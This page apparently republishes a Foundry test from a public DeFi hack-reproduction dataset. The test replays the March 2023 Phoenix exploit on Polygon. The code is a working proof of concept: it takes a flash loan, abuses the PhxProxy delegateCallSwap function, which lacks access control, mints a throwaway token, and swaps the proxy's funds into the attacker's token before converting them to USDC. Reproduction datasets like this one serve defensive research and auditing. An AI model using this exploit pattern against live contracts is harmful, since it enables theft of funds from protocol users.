Public reproduction file
src/test/2023-03/Phoenix_exp.sol
Public reproduction file for dataset entry - Phoenix.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.17;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/HypernativeLabs/status/16330904561574010889// @TX10// https://polygonscan.com/tx/0x6fa6374d43df083679cdab97149af8207cda2471620a06d3f28b115136b8e2c411// @Summary12// PhxProxy contract delegateCallSwap() function lack of access control and can be passed in any parameter13// The lost money is mainly USDC in the d028 contract which the attacker converts into WETH in the 65ba contract through the buyLeverage function14// and then swaps it into his own tokens by the delegateCallSwap function, making a profit from it16interface IPHXPROXY {17 function buyLeverage(uint256 amount, uint256 minAmount, uint256 deadLine, bytes calldata /*data*/ ) external;18 function delegateCallSwap(19 bytes memory data20 ) external;21}23contract ContractTest is Test {24 IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);25 IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);26 SHITCOIN MYTOKEN;27 IPHXPROXY phxProxy = IPHXPROXY(0x65BaF1DC6fA0C7E459A36E2E310836B396D1B1de);28 Uni_Router_V2 Router = Uni_Router_V2(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);29 address dodo = 0x1093ceD81987Bf532c2b7907B2A8525cd0C17295;31 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);33 function setUp() public {34 cheats.createSelectFork("polygon", 40_066_946);35 vm.label(address(USDC), "USDC");36 vm.label(address(WETH), "WETH");37 vm.label(address(phxProxy), "phxProxy");38 vm.label(address(Router), "Router");39 vm.label(address(dodo), "dodo");40 }42 function testExploit() public {43 deal(address(WETH), address(this), 7 * 1e15);44 MYTOKEN = new SHITCOIN();45 MYTOKEN.mint(1_500_000 * 1e18);46 MYTOKEN.approve(address(Router), type(uint256).max);47 WETH.approve(address(Router), type(uint256).max);48 Router.addLiquidity(address(MYTOKEN), address(WETH), 7 * 1e15, 7 * 1e15, 0, 0, address(this), block.timestamp);50 DVM(dodo).flashLoan(0, 8000 * 1e6, address(this), new bytes(1));52 emit log_named_decimal_uint(53 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()54 );55 }57 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {58 USDC.approve(address(phxProxy), type(uint256).max);59 phxProxy.buyLeverage(8000 * 1e6, 0, block.timestamp, new bytes(0));60 uint256 swapAmount = WETH.balanceOf(address(phxProxy));61 bytes memory swapData =62 abi.encodeWithSelector(0xa9678a18, address(Router), address(WETH), address(MYTOKEN), swapAmount);63 phxProxy.delegateCallSwap(swapData); // WETH swap to MYTOKEN65 address[] memory path = new address[](3);66 path[0] = address(MYTOKEN);67 path[1] = address(WETH);68 path[2] = address(USDC);69 Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // MYTOKEN swap to USDC71 USDC.transfer(dodo, 8000 * 1e6);72 }73}75contract SHITCOIN {76 uint256 public totalSupply;77 mapping(address => uint256) public balanceOf;78 mapping(address => mapping(address => uint256)) public allowance;79 string public name = "SHIT COIN";80 string public symbol = "SHIT";81 uint8 public decimals = 18;83 event Transfer(address indexed from, address indexed to, uint256 value);84 event Approval(address indexed owner, address indexed spender, uint256 value);86 function transfer(address recipient, uint256 amount) external returns (bool) {87 balanceOf[msg.sender] -= amount;88 balanceOf[recipient] += amount;89 emit Transfer(msg.sender, recipient, amount);90 return true;91 }93 function approve(address spender, uint256 amount) external returns (bool) {94 allowance[msg.sender][spender] = amount;95 emit Approval(msg.sender, spender, amount);96 return true;97 }99 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {100 allowance[sender][msg.sender] -= amount;101 balanceOf[sender] -= amount;102 balanceOf[recipient] += amount;103 emit Transfer(sender, recipient, amount);104 return true;105 }107 function mint(108 uint256 amount109 ) external {110 balanceOf[msg.sender] += amount;111 totalSupply += amount;112 emit Transfer(address(0), msg.sender, amount);113 }115 function burn(116 uint256 amount117 ) external {118 balanceOf[msg.sender] -= amount;119 totalSupply -= amount;120 emit Transfer(msg.sender, address(0), amount);121 }122}Analysis
Dataset entry
Public Foundry test for “- Phoenix” (2023-03-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
8 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-03/BIGFI_exp.solSame month in the dataset · 89 lines
- src/test/2023-03/DBW_exp.solSame month in the dataset · 195 lines
- src/test/2023-03/DKP_exp.solSame month in the dataset · 93 lines
- src/test/2023-03/Euler_exp.solSame month in the dataset · 148 lines
- src/test/2023-03/paraspace_exp.solSame month in the dataset · 284 lines
- src/test/2023-03/poolz_exp.solSame month in the dataset · 364 lines
- src/test/2023-03/safeMoon_exp.solSame month in the dataset · 168 lines
- src/test/2023-03/Thena_exp.solSame month in the dataset · 104 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Phoenix
- Path
- src/test/2023-03/Phoenix_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 85b57480bcb4164dc9642f4d3b3e3aa58c4b51a9
- Language
- Solidity
- Size
- 123 lines
- Date
- 2023-03-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-03/Phoenix_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 85b57480bcb4164dc9642f4d3b3e3aa58c4b51a9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.